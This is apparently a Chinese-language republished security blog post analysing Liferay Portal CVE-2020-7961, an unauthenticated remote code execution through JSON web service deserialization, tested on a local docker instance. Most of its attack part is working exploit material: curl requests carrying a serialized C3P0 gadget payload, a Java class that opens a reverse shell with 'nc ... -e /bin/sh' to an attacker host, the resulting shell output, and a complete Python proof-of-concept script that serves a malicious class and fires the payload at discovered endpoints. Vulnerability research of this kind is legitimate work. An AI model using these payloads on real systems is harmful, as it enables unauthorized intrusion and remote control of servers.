Liferay是用Java编写的著名CMS之一,在渗透过程中有时会遇到。上周,我偶然发现了Code White Security的博客文章“ Liferay Portal JSON Web服务RCE漏洞分析”,其中描述了一个有趣的漏洞。不幸的是,没有与之相关的PoC,所以这是学习知识的好机会。
Liferay CMS:https://www.liferay.com/
我将集中讨论影响7.x版本CST-7205的漏洞:通过JSONWS(LPS-97029 / CVE-2020-7961)进行未经身份验证的远程代码执行。
![CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC) CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)]()
文章分析
首先,我在Code White博客文章中收集一些线索,就在进行CTF比赛时做的那样:
https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
The JSONWebServiceActionParametersMap of Liferay Portal allows the instantiation of arbitrary classes and invocation of arbitrary setter methods.
Both allow the instantiation of an arbitrary class via its parameter-less constructor and the invocation of setter methods similar to the JavaBeans convention. This allows unauthenticated remote code execution via various publicly known gadgets. // 1
[...]
The _parameterTypes map gets filled by the JSONWebServiceActionParametersMap.put(String, Object) method...
parameterName:fully.qualified.ClassName // 2
[...]
This syntax is also mentioned in some of the examples in the Invoking JSON Web Services tutorial. // 3
[...]
Later in JSONWebServiceActionImpl._prepareParameters(Class), the ReflectUtil.isTypeOf(Class, Class) is used to check whether the specified type extends the type of the corresponding parameter of the method to be invoked. Since there are service methods with java.lang.Object parameters, any type can be specified. // 4
[...]
Demo // 5
从博客文章中我已经确定:
(1)我必须绕过2016年已经存在的实例化漏洞,即us-17-Munoz-Friday-The-13th-Json-Attacks和 marshalsec,为此,我需要一个小工具,这将使工作变得容易;
(2)为了识别入口点,我需要找到Liferay开发人员文档中描述的JSONendpoint;
(3)进行交互;
(4)最后可以在上面看到APIendpoint的GIF演示;
(5)进行了一点修改,方便使用JSON-RPC攻击的方法, Content-length Header超过9000!
![CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC) CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)]()
分析准备
Liferay CE是开源的,我使用docker运行一个实例,并下载了源代码:
$ wget https://github.com/liferay/liferay-portal/releases/download/7.2.0-ga1/liferay-ce-portal-src-7.2.0-ga1-20190531153709761.zip
# docker pull liferay/portal:7.2.0-ga1-201906041200
# docker run -it liferay/portal:7.2.0-ga1-201906041200
$ docker inspect $(docker ps | grep liferay | cut -f 1 -d ' ') | jq -r .[0].NetworkSettings.IPAddress
Ubuntu的默认登录名/密码为:[email protected]:test。
![CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC) CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)]()
寻找切入点
阅读文档并使用API,我很快找到了使用方法:
$ curl -s http://172.17.0.2:8080/api/jsonws/announcementsflag/get-flag -u [email protected]:test -d entryId=1 -d value=2 | jq
{
"exception": "No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}",
"throwable": "com.liferay.announcements.kernel.exception.NoSuchFlagException: No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}",
"error": {
"message": "No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}",
"type": "com.liferay.announcements.kernel.exception.NoSuchFlagException"
}
}
查看内置文档,我注意到每个参数都需要键入(Long,String ...):
还记得博客文章中的提示吗?我遍历每个上下文以检索每个endpoint,找到了一些使用的endpointjava.lang.Object:
$ cat contexts.txt | while read context; do curl -kis http://172.17.0.2:8080/api/jsonws?contextName=$context | grep "java.lang.Object"; done | grep -o 'href="[^"]*"'
href="/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fupdate-column-4-long-java.lang.String-int-java.lang.Object"
href="/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-long-java.lang.String-int-java.lang.Object"
如博客文章中所见,在阅读了文档之后,我发现了用于实例化对象的符号+,尝试使用一些garbage 可以带来一条有趣的信息:
$ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column
-u [email protected]:test
-d columnId=1
-d name='2'
-d type=3
-d %2BdefaultData=4 | jq
{
"exception": "4",
"throwable": "java.lang.ClassNotFoundException: 4",
"error": {
"message": "4",
"type": "java.lang.ClassNotFoundException"
}
}
可能是java.lang.Number或 java.lang.String
$ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=java.lang.Number | jq
{
"exception": "java.lang.InstantiationException",
"throwable": "java.lang.InstantiationException",
"error": {
"message": "java.lang.InstantiationException",
"type": "java.lang.InstantiationException"
}
}
$ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=java.lang.String | jq
{
"exception": "No ExpandoColumn exists with the primary key 1",
"throwable": "com.liferay.expando.kernel.exception.NoSuchColumnException: No ExpandoColumn exists with the primary key 1",
"error": {
"message": "No ExpandoColumn exists with the primary key 1",
"type": "com.liferay.expando.kernel.exception.NoSuchColumnException"
}
}
到目前为止,我已经能够实例化一个对象,并且根据文档,设置属性应该与defaultData.attribute_name=value一样简单 。
![CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC) CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)]()
寻找 gadget
我并不熟悉此类漏洞,因此我采用了AlvaroMuñoz和Oleksandr Mirosh 文章中发布的一个Java gadgets,其中涉及实例化org.hibernate.jmx.StatisticsService类,然后调用 setSessionFactoryJNDIName,方法是将 sessionFactoryJNDIName设置为我控制的一切:
$ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=org.hibernate.jmx.StatisticsService -d defaultData.sessionFactoryJNDIName=rmi://thisiswrong:/
并在日志中得到了stacktrace:
2020-03-27 15:48:45.383 ERROR [http-nio-8080-exec-2][StatisticsService:81] Error while accessing session factory with JNDI name rmi://thisissworng:/
javax.naming.CommunicationException: thisiswrong:389 [Root exception is java.net.UnknownHostException: thisiswrong]
有许多公开的gadgets,可以在这里找到。
Requires c3p0 on the class path. Implements java.io.Serializable, has a default
constructor (which needs to be called), the used properties also have getters. A single
etter call is sufficient for code execution.
[...]
It will instantiate a class from a remote class path as JNDI
ObjectFactory. (on its own, not using the default JNDI reference mechanism)
[...]
不使用默认的JNDI机制进行代码执行,尝试一下:
$ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource -d 'defaultData.userOverridesAsString=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[...]
2020-03-27 16:19:55.776 WARN [http-nio-8080-exec-10][WrapperConnectionPoolDataSource:223] Failed to parse stringified userOverrides. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
java.io.StreamCorruptedException: invalid stream header: AAAAAAAA
现在,使用 marshalsec工具通过Jackson适合我上下文的Paylaod为我设置正确的数据。
首先,通过暴露的方式设置远程类EvilObject的路径:
$ cat > EvilObject.java <<EOF
public class EvilObject {
public EvilObject() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", "nc 172.17.0.1 8888 -e /bin/sh"};
Process pc = rt.exec(commands);
pc.waitFor();
}
}
EOF
$ /usr/lib/jvm/java-8-oracle/bin/javac EvilObject.java
$ python -m SimpleHTTPServer &
然后,我可以使用-t参数测试所有内容:
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -t C3P0WrapperConnPool http://172.17.0.1:8000/ EvilObject
unning gadget C3P0WrapperConnPool:
MLog initialization issue: slf4j found no binding or threatened to use its (dangerously silent) NOPLogger. We consider the slf4j library not found.
Had execution of /bin/sh
设置监听,生成Payload并使用:
$ nc -l -v 8888 &
Listening on 0.0.0.0 8888
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://172.17.0.1:8000/ EvilObject
["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000a4576696c4f626a656374740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}]
$ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource -d 'defaultData.userOverridesAsString=HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000a4576696c4f626a656374740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;'
[...]
id
uid=1000(liferay) gid=1000(liferay)
ls -al
total 92
drwxr-xr-x 1 liferay liferay 4096 Jun 4 2019 .
drwxr-xr-x 1 root root 4096 Jun 4 2019 ..
-rw-r--r-- 1 liferay liferay 40 May 31 2019 .githash
-rw-r--r-- 1 liferay liferay 0 May 31 2019 .liferay-home
drwxr-xr-x 1 liferay liferay 4096 May 31 2019 data
drwxr-x--- 2 liferay liferay 4096 May 31 2019 deploy
[...]
已经获得了远程shell!
![CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC) CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)]()
分析结论
相关的PoC如下:
https://github.com/mzer0one/CVE-2020-7961-POC
'''
Title: POC for Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1
POC author: mzero
Download link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/7.2.0%20GA1/liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.7z/download
Based on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research
Usage: python poc.py -h
Gadget used: C3P0WrapperConnPool
Installation:
pip install requests
pip install bs4
Create file LifExp.java with example content:
public class LifExp {
static {
try {
String[] cmd = {"cmd.exe", "/c", "calc.exe"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
javac LifExp.java
Place poc.py and LifExp.class in the same directory.
'''
import requests
import threading
import time
import sys
import argparse
from bs4 import BeautifulSoup
from datetime import datetime
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# SET proxy
PROXIES = {}
#PROXIES = {"http":"http://127.0.0.1:9090"}
class HttpHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type','application/java-vm')
self.end_headers()
f = open("LifExp.class", "rb")
self.wfile.write(f.read())
f.close()
return
def log(level, msg):
prefix = "[#] "
if level == "error":
prefix = "[!] "
d = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
temp = "{} [{}] {}".format(prefix, d, msg)
print(temp)
def find_href(body):
soup = BeautifulSoup(body, "html.parser")
return soup.find_all('a', href=True)
def find_class(body, clazz):
soup = BeautifulSoup(body, "html.parser")
return soup.findAll("div", {"class": clazz})
def find_id(body):
soup = BeautifulSoup(body, "html.parser")
return soup.findAll("form", {"id": "execute"})
def get_param(div):
param = ""
param_type = ""
p_name = div.find("span", {"class": "lfr-api-param-name"})
p_type = div.find("span", {"class": "lfr-api-param-type"})
if p_name:
param = p_name.text.strip()
if p_type:
param_type = p_type.text.strip()
return (param, param_type)
def _do_get(url):
resp = requests.get(url, proxies=PROXIES, verify=False)
return resp
def do_get(host, path):
url = "{}/{}".format(host, path)
resp = _do_get(url)
return resp
def _do_post(url, data):
resp = requests.post(url, proxies=PROXIES, verify=False, data=data)
return resp
def do_post(host, path, data):
url = "{}/{}".format(host, path)
resp = _do_post(url, data)
return resp
def find_endpoints(host, path):
result = []
resp = do_get(host, path)
links = find_href(resp.text)
for link in links:
if "java.lang.Object" in link['href']:
result.append(link['href'])
return result
def find_parameters(body):
div_params = find_class(body, "lfr-api-param")
params = []
for d in div_params:
params.append(get_param(d))
return params
def find_url(body):
form = find_id(body)[0]
return form['action']
def set_params(params, payload, payload_type):
result = {}
for param in params:
p_name, p_type = param
if p_type == "java.lang.Object":
result[p_name+":"+payload_type] = payload
result[p_name] = "1"
return result
def pad(data, length):
return data+"x20"*(length-len(data))
def exploit(host, api_url, params, PAYLOAD, PAYLOAD_TYPE):
p = set_params(params, PAYLOAD, PAYLOAD_TYPE)
resp = do_post(host, api_url, p)
banner = """POC author: mzerornBased on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research"""
def main():
print(banner)
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target-host", dest="target", help="target host:port", required=True)
parser.add_argument("-u", "--api-url", dest="api_url", help="path to jsonws. Default: /api/jsonws", default="/api/jsonws")
parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP server bind port. Default 9091", default=9091)
parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP server bind IP. Default 127.0.0.1. It can't be 0.0.0.0", default="127.0.0.1")
args = parser.parse_args()
bind_port = int(args.bind_port)
bind_ip = args.bind_ip
target_ip = args.target
api_url = args.api_url
endpoints = []
vuln_endpoints = []
PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
PAYLOAD_PREFIX = """{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8"""
PAYLOAD_SUFIX = """740003466f6f;"}"""
PAYLOAD = PAYLOAD_PREFIX +pad("http://{}:{}/".format(bind_ip, bind_port), 200).encode("hex")+PAYLOAD_SUFIX
try:
log("info", "Looking for vulnerable endpoints: {}/{}".format(target_ip, api_url))
endpoints = find_endpoints(target_ip, api_url)
if not endpoints:
log("info", "Vulnerable endpoints not found!")
sys.exit(1)
except Exception as ex:
log("error", "An error occured:")
print(ex)
sys.exit(1)
try:
server = HTTPServer((bind_ip, bind_port), HttpHandler)
log("info", "Started HTTP server on {}:{}".format(bind_ip, bind_port))
th = threading.Thread(target=server.serve_forever)
th.daemon=True
th.start()
for e in endpoints:
resp = do_get(target_ip, e)
params = find_parameters(resp.text)
url_temp = find_url(resp.text)
vuln_endpoints.append((url_temp, params))
for endpoint in vuln_endpoints:
log("info", "Probably vulnerable endpoint {}.".format(endpoint[0]))
op = raw_input("Do you want to test it? Y/N: ")
if op.lower() == "y":
exploit(target_ip, endpoint[0], endpoint[1], PAYLOAD, PAYLOAD_TYPE)
log("info", "CTRL+C to exit :)")
while True:
time.sleep(1)
except KeyboardInterrupt:
log("info", "Shutting down...")
server.socket.close()
except Exception as ex:
log("error", "An error occured:")
print(ex)
sys.exit(1)
if __name__ == "__main__":
main()
public class LifExp {
static {
try {
String[] cmd = {"cmd.exe", "/c", "calc.exe"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
无需建立连接只需单击即可实现代码执行。
![CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC) CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)]()
参考文献
· https://www.liferay.com
· https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
· https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
· https://github.com/mbechler/marshalsec
· https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services#object-parameters
· https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services#json-rpc
· https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java
· https://github.com/mzer0one/CVE-2020-7961-POC
· https://gist.github.com/testanull/4f8a9305b5b57ab8e7f15bbb0fb93461
· https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf
参考及来源:https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html
本文始发于微信公众号(嘶吼专业版):CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论